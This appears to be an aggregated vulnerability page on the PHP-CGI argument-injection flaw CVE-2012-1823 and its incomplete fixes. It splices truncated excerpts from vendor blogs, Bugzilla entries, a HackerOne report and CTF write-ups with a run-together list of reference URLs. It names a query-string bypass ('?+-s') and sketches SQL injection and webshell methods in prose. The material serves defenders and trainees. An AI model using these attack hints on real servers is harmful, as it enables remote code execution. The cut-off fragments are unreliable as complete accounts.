From May 1-July 21, 2020, Unit 42 researchers captured global network traffic from firewalls around the world and then analyzed the data to examine the latest network attack trends. The majority of attacks we observed were classified as high severity (56.7%), and nearly one quarter (23%) were classified as critical. The most common vulnerabilities exploited were CVE-2012-2311 and CVE-2012-1823 , both command injection vulnerabilities in PHP CGI scripts
Unit42
Network Attack Trends: Attackers Leveraging High Severity and Critical Exploits (May-July 2020)
blogs_unit42·2020-09-15·CVSS 9.8
CVE-2012-2311 [CRITICAL] Network Attack Trends: Attackers Leveraging High Severity and Critical Exploits (May-July 2020)
## Executive Summary
From May 1-July 21, 2020, Unit 42 researchers captured global network traffic from firewalls around the world and then analyzed the data to examine the latest network attack trends. The majority of attacks we observed were classified as high severity (56.7%), and nearly one quarter (23%) were classified as critical. The most common vulnerabilities exploited were CVE-2012-2311 and CVE-2012-1823, both command injection vulnerabilities in PHP CGI scripts. This indicates that attackers are looking for exploits with high impact.
We analyzed the network attacks in terms of the countries from which they originated. Of note, China overwhelmingly had the highest activity, followed by Russia and the United States. This may be in part because of the large population that China,
Talos
PHP-CGI vulnerability - exploits in the wild and Snort coverage
blogs_talos·2012-05-08·CVSS 9.8
CVE-2012-1823 [CRITICAL] PHP-CGI vulnerability - exploits in the wild and Snort coverage
## PHP-CGI vulnerability - exploits in the wild and Snort coverage
You've probably heard about the PHP-CGI command-line parameter vulnerability ( CVE-2012-1823 ) released last Thursday, especially if you're defending a PHP-based web application environment. While it makes use of a non-default configuration for exploitation, for users who choose to run PHP through a CGI wrapper, the implications are very important, including potential source code disclosure and remote code execution.
Since this bug is now being actively exploited in the wild , and has had a Metasploit module developed to exploit it, it's worth a note to Snort users explaining the nature of the vulnerability and the state of our coverage, so that IDS analysts can act appropriately on the issue.
At its core, the issue here
Talos
PHP-CGI vulnerability - exploits in the wild and Snort coverage
blogs_talos·2012-05-08·CVSS 9.8
CVE-2012-1823 [CRITICAL] PHP-CGI vulnerability - exploits in the wild and Snort coverage
You've probably heard about the PHP-CGI command-line parameter vulnerability (CVE-2012-1823) released last Thursday, especially if you're defending a PHP-based web application environment. While it makes use of a non-default configuration for exploitation, for users who choose to run PHP through a CGI wrapper, the implications are very important, including potential source code disclosure and remote code execution.
Since this bug is now being actively exploited in the wild, and has had a Metasploit module developed to exploit it, it's worth a note to Snort users explaining the nature of the vulnerability and the state of our coverage, so that IDS analysts can act appropriately on the issue.
At its core, the issue here is fairly simple. When PHP is run in CGI mode, certain arguments will
HackerOne
Incorrect Encoding Conversion in hostname results in indeterminate SSRF vulnerabilities
hackerone·2024-06-18·CVSS 9.8
[CRITICAL] Incorrect Encoding Conversion in hostname results in indeterminate SSRF vulnerabilities
Incorrect Encoding Conversion in hostname results in indeterminate SSRF vulnerabilities
## Summary:
Best-Fit is a character mapping strategy designed to resolve the issue when characters in the source code page lack a direct equivalent in the target code page. During the conversion of characters from a Unicode code page to a non-Unicode code page, if a corresponding character cannot be located, the conversion is carried out using a predefined Best-Fit conversion table.
For instance, the Best-Fit Mapping conversion table for GBK encoding (cp936) can be found at: https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt
This table contains some intriguing character conversions, such as 0xb9 being mapped to 1 and 0xb2 being mapped to 2. By exploiting this convers
Bugzilla
CVE-2012-2335 php: incomplete CVE-2012-1823 fix - insecure wrapper
bugzilla·2012-05-11·CVSS 9.8
CVE-2012-2335 [CRITICAL] CVE-2012-2335 php: incomplete CVE-2012-1823 fix - insecure wrapper
CVE-2012-2335 php: incomplete CVE-2012-1823 fix - insecure wrapper
A CVE-2012-1823 was assigned to a PHP-CGI flaw that could allow remote attackers to execute arbitrary code by injecting php-cgi command line arguments via specially crafted query string. Refer to bug #818607 for details about this flaw.
The released fix for this issue was reported to be incomplete and can be bypassed by prefixing the query string with spaces (e.g. ?+-s). However, that problem only affected configurations where insecure wrapper script similar to the one pointed out in the CVE-2012-1823 reporter's blog post:
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
http://www.php.net/archive/2012.php#id2012-05-06-1
http://wiki.dreamhost.com/PHP.ini#Create_the_script_wrapper
While this problem is not a
Bugzilla
CVE-2012-2336 php: incomplete CVE-2012-1823 fix - missing filtering of -T and -h
bugzilla·2012-05-10·CVSS 9.8
CVE-2012-2336 [CRITICAL] CVE-2012-2336 php: incomplete CVE-2012-1823 fix - missing filtering of -T and -h
CVE-2012-2336 php: incomplete CVE-2012-1823 fix - missing filtering of -T and -h
Originally Common Vulnerabilities and Exposures assigned an identifier CVE-2012-1823 to the following vulnerability:
A flaw was found in the way the php-cgi executable processed command line arguments when running in CGI mode. A remote attacker could send a specially-crafted request to a PHP script that would result in the query string being parsed by php-cgi as command line options and arguments. This could lead to the disclosure of the script's source code or arbitrary code execution with the privileges of the PHP interpreter. (CVE-2012-1823)
This problem is in more detailed way described in a dedicated bug 818607.
Later it has been reported yet:
https://bugs.php.net/bug.php?id=61910#1336220802
http://ww
Bugzilla
CVE-2012-2311 php: incomplete CVE-2012-1823 fix - incorrect check for =
bugzilla·2012-05-04·CVSS 9.8
CVE-2012-2311 [CRITICAL] CVE-2012-2311 php: incomplete CVE-2012-1823 fix - incorrect check for =
CVE-2012-2311 php: incomplete CVE-2012-1823 fix - incorrect check for =
It was discovered that the fix that was applied in PHP versions 5.3.12 and 5.4.2 to address CVE-2012-1823 (bug #818607) was incomplete and did not resolved the problem. A remote attacker could still use this flaw to remotely execute arbitrary code on the servers using affected PHP CGI configurations.
The problem was noted in the blog post of the CVE-2012-1823 issue reporter:
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
UPDATE3: The new PHP release is buggy. You can use their workaround, but
the new releases and their patch do not fix the issue. Use our
mitigations for now.
[...]
UPDATE5: We have received word that new PHP updates with the revised fix
will be released soon. The issue that this prob
Bugzilla
CVE-2012-1823 php: command line arguments injection when run in CGI mode (VU#520827)
bugzilla·2012-05-03·CVSS 9.8
CVE-2012-1823 [CRITICAL] CVE-2012-1823 php: command line arguments injection when run in CGI mode (VU#520827)
CVE-2012-1823 php: command line arguments injection when run in CGI mode (VU#520827)
A flaw was found in the way the php-cgi executable processed command line arguments when running in CGI mode. A remote attacker could send a specially-crafted request to a PHP script that would result in the query string being parsed by php-cgi as command line options and arguments. This could lead to the disclosure of the script's source code or arbitrary code execution with the privileges of the PHP interpreter.
References:
https://bugs.php.net/bug.php?id=61910
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
http://ompldr.org/vZGxxaQ
Discussion:
PHP 5.3.12 and 5.4.2 are released to correct this:
http://www.php.net/archive/2012.php#id2012-05-03-1
They also note the mitigation/workaround
Bugzilla
CVE-2012-1823 php: command line arguments injection when run in CGI mode (VU#520827) [fedora-all]
bugzilla·2012-05-03·CVSS 9.8
CVE-2012-1823 [CRITICAL] CVE-2012-1823 php: command line arguments injection when run in CGI mode (VU#520827) [fedora-all]
CVE-2012-1823 php: command line arguments injection when run in CGI mode (VU#520827) [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected Fedora
versions.
For comments that are specific to the vulnerability please use bugs filed
against "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When creating a Bodhi update request, please include this bug ID and the
bug IDs of this bug's parent bugs filed against the "Security Response"
product (the top-level CVE bugs). Please mention the CVE IDs being fixed
in the RPM changelog when available.
Bodhi update submission link:
https://admin.fedoraproject.org/updat
CTF
readme
ctf_writeups·2020
readme
# **H@cktivityCon CTF 2020**
This is my writeup for the challenges in H@cktivityCon CTF 2020, for more writeups of this CTF you can check out [this list](https://github.com/oxy-gendotmobi/ctf.hacktivitycon.2020.writeup.reference) or [CTFtime](https://ctftime.org/event/1101/tasks/)
***
# Table of Content
* [Cryptography](#cryptography)
- [Tyrannosaurus Rex](#tyrannosaurus-rex)
- [Perfect XOR](#perfect-xor)
- [Bon Appetit](#bon-appetit)
- [A E S T H E T I C](#a-e-s-t-h-e-t-i-c)
- [OFBuscated](#ofbuscated)
* [Binary Exploitation](#binary-exploitation)
- [Pancakes](#pancakes)
* [Web](#web)
- [Ladybug](#ladybug)
- [Bite](#bite)
- [GI Joe](#gi-joe)
- [Waffle Land](#waffle-land)
- [Lightweight Contact Book](#lightweight-contact-book)
- [Template Shack](#template-shack)
***
# Cryptography
CTF
Shared / README
ctf_writeups·CVSS 8.2
[HIGH] Shared / README
# Shared
## Summary
Running an `nmap` scan finds SSH and a basic online shop powered by [PrestaShop](https://www.prestashop.com) at `https://shared.htb`. We add an item to the cart and try to checkout, which redirects us to `checkout.shared.htb`. The website knows which items are in our cart through a `custom_cart` cookie on the `shared.htb` domain. The cookie references the product code and the quantity that is in our cart. We manually perform a [SQL union injection attack](https://portswigger.net/web-security/sql-injection/union-attacks) on this cookie and read a username and password hash, which can be cracked using [CrackStation](https://crackstation.net/), from the database. With our credentials, we connect to the machine via SSH as the `james_mason` user.
Now that we are on the bo
CTF
README
ctf_writeups·CVSS 9.8
[CRITICAL] README
# Boot to root CTFs
Walkthroughs and notes of 'boot to root' CTFs mostly from VulnHub that I did for fun. I like to use vulnerable VMs from VulnHub (in addition to the ones I create) to organize hands-on penetration testing training sessions for junior security auditors/consultants :-)
### >> Classic pentest methodology to do a Boot2root CTF upload a Webshell)
➤ Clear-text passwords stored in 'public' website pages, configuration files, log files
➤ ...
2. Exploiting unpatched known vulnerabilities
➤ Web server (e.g. Apache Struts RCE: CVE-2017-12611/CVE-2017-9805/CVE-2017-9791, JBoss Java Deserialization RCE)
➤ Bash & web server CGI (e.g. Shellshock RCE CVE-2014-6271/CVE-2014-7169)
➤ Web CMS (e.g. Drupalgeddon2 RCE CVE-2018-7600)
➤ Web framework (e.g. PHP CGI RCE CVE-2012-1823)
➤ FTP s
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03360041http://lists.apple.com/archives/security-announce/2012/Sep/msg00004.htmlhttp://lists.opensuse.org/opensuse-security-announce/2012-05/msg00002.htmlhttp://lists.opensuse.org/opensuse-security-announce/2012-05/msg00007.htmlhttp://lists.opensuse.org/opensuse-security-announce/2012-05/msg00011.htmlhttp://marc.info/?l=bugtraq&m=134012830914727&w=2http://rhn.redhat.com/errata/RHSA-2012-0546.htmlhttp://rhn.redhat.com/errata/RHSA-2012-0547.htmlhttp://rhn.redhat.com/errata/RHSA-2012-0568.htmlhttp://rhn.redhat.com/errata/RHSA-2012-0569.htmlhttp://rhn.redhat.com/errata/RHSA-2012-0570.htmlhttp://secunia.com/advisories/49014http://secunia.com/advisories/49065http://secunia.com/advisories/49085http://secunia.com/advisories/49087http://support.apple.com/kb/HT5501http://www.debian.org/security/2012/dsa-2465http://www.kb.cert.org/vuls/id/520827http://www.kb.cert.org/vuls/id/673343http://www.mandriva.com/security/advisories?name=MDVSA-2012:068http://www.openwall.com/lists/oss-security/2024/06/07/1http://www.php.net/ChangeLog-5.php#5.4.2http://www.php.net/archive/2012.php#id2012-05-03-1http://www.securitytracker.com/id?1027022https://bugs.php.net/bug.php?id=61910https://bugs.php.net/patch-display.php?bug_id=61910&patch=cgi.diff&revision=1335984315&display=1https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PKGTQUOA2NTZ3RXN22CSAUJPIRUYRB4B/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/W45DBOH56NQDRTOM2DN2LNA2FZIMC3PK/http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03360041http://lists.apple.com/archives/security-announce/2012/Sep/msg00004.htmlhttp://lists.opensuse.org/opensuse-security-announce/2012-05/msg00002.htmlhttp://lists.opensuse.org/opensuse-security-announce/2012-05/msg00007.htmlhttp://lists.opensuse.org/opensuse-security-announce/2012-05/msg00011.htmlhttp://marc.info/?l=bugtraq&m=134012830914727&w=2http://rhn.redhat.com/errata/RHSA-2012-0546.htmlhttp://rhn.redhat.com/errata/RHSA-2012-0547.htmlhttp://rhn.redhat.com/errata/RHSA-2012-0568.htmlhttp://rhn.redhat.com/errata/RHSA-2012-0569.htmlhttp://rhn.redhat.com/errata/RHSA-2012-0570.htmlhttp://secunia.com/advisories/49014http://secunia.com/advisories/49065http://secunia.com/advisories/49085http://secunia.com/advisories/49087http://support.apple.com/kb/HT5501http://www.debian.org/security/2012/dsa-2465http://www.kb.cert.org/vuls/id/520827http://www.kb.cert.org/vuls/id/673343http://www.mandriva.com/security/advisories?name=MDVSA-2012:068http://www.openwall.com/lists/oss-security/2024/06/07/1http://www.php.net/ChangeLog-5.php#5.4.2http://www.php.net/archive/2012.php#id2012-05-03-1http://www.securitytracker.com/id?1027022https://bugs.php.net/bug.php?id=61910https://bugs.php.net/patch-display.php?bug_id=61910&patch=cgi.diff&revision=1335984315&display=1https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PKGTQUOA2NTZ3RXN22CSAUJPIRUYRB4B/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/W45DBOH56NQDRTOM2DN2LNA2FZIMC3PK/https://lists.fedoraproject.org/archives/list/[email protected]/message/PKGTQUOA2NTZ3RXN22CSAUJPIRUYRB4B/https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2012-1823
2012-05-11
Published
2022-03-25
Added to CISA KEV
Exploited in the wild